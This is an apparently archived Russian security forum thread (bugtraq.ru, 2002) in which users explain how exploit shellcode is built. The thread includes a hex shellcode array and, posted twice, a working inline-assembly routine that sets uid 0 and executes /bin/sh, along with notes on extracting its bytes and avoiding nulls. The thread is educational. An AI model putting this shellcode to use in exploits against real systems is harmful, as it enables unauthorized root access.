информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Где водятся OGRыСетевые кракеры и правда о деле ЛевинаАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 ФБР нашла русский след в атаках... 
 Массовый взлом SharePoint 
 Microsoft Authenticator прекращает... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Чуть более подробно :) 15.08.02 10:34  Число просмотров: 1173
Автор: Dude Статус: Незарегистрированный пользователь
Отредактировано 15.08.02 10:36  Количество правок: 2
<"чистая" ссылка>
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)

Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:

/* начало эксплоита */

void sploit ()
{
_asm_("\
CODE_LEN = 0x28 ;
INSTR_LEN = 0x7 ;
genesis: ;
jmp . + CODE_LEN ;
;
/* setting uid to 0 */ ;
xorl %eax, %eax ;
movb $23, %al ;
xorl %ebx, %ebx ;
int $0x80 ;
;
/* performing the main work */ ;
popl %esi ;
xorl %eax, %eax ;
movb %al, INSTR_LEN(%esi) ;
movl %esi, (INSTR_LEN+1)(%esi) ;
movl %eax, (INSTR_LEN+5)(%esi) ;
;
movb $11, %al ;
movl %esi, %ebx ;
leal (INSTR_LEN+1)(%esi), %ecx ;
xorl %edx, %edx ;
int $0x80 ;
;
xorl %eax, %eax ;
incl %eax ;
xorl %ebx, %ebx ;
int $0x80 ;
;
call . - CODE_LEN + 2 ;
sh: .ascii \"/bin/sh\" ;
");
}
void sploit_end () {}

/* остальная часть эксплоита */

После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.

Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
<programming>
Shellcode 14.08.02 20:59   [ZloyShaman]
Автор: nporpammuct Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Почти во всех эксплойтах встречаешь, что-то типа:
char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
На основании чего и каким образом он составляется???
Чуть более подробно :) 15.08.02 10:34  
Автор: Dude Статус: Незарегистрированный пользователь
Отредактировано 15.08.02 10:36  Количество правок: 2
<"чистая" ссылка>
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)

Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:

/* начало эксплоита */

void sploit ()
{
_asm_("\
CODE_LEN = 0x28 ;
INSTR_LEN = 0x7 ;
genesis: ;
jmp . + CODE_LEN ;
;
/* setting uid to 0 */ ;
xorl %eax, %eax ;
movb $23, %al ;
xorl %ebx, %ebx ;
int $0x80 ;
;
/* performing the main work */ ;
popl %esi ;
xorl %eax, %eax ;
movb %al, INSTR_LEN(%esi) ;
movl %esi, (INSTR_LEN+1)(%esi) ;
movl %eax, (INSTR_LEN+5)(%esi) ;
;
movb $11, %al ;
movl %esi, %ebx ;
leal (INSTR_LEN+1)(%esi), %ecx ;
xorl %edx, %edx ;
int $0x80 ;
;
xorl %eax, %eax ;
incl %eax ;
xorl %ebx, %ebx ;
int $0x80 ;
;
call . - CODE_LEN + 2 ;
sh: .ascii \"/bin/sh\" ;
");
}
void sploit_end () {}

/* остальная часть эксплоита */

После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.

Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
Shellcode 15.08.02 01:09  
Автор: Biasha <Бяша> Статус: Member
<"чистая" ссылка>
> Почти во всех эксплойтах встречаешь, что-то типа:
> char shellcode[] =
> ...
> На основании чего и каким образом он составляется???

На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach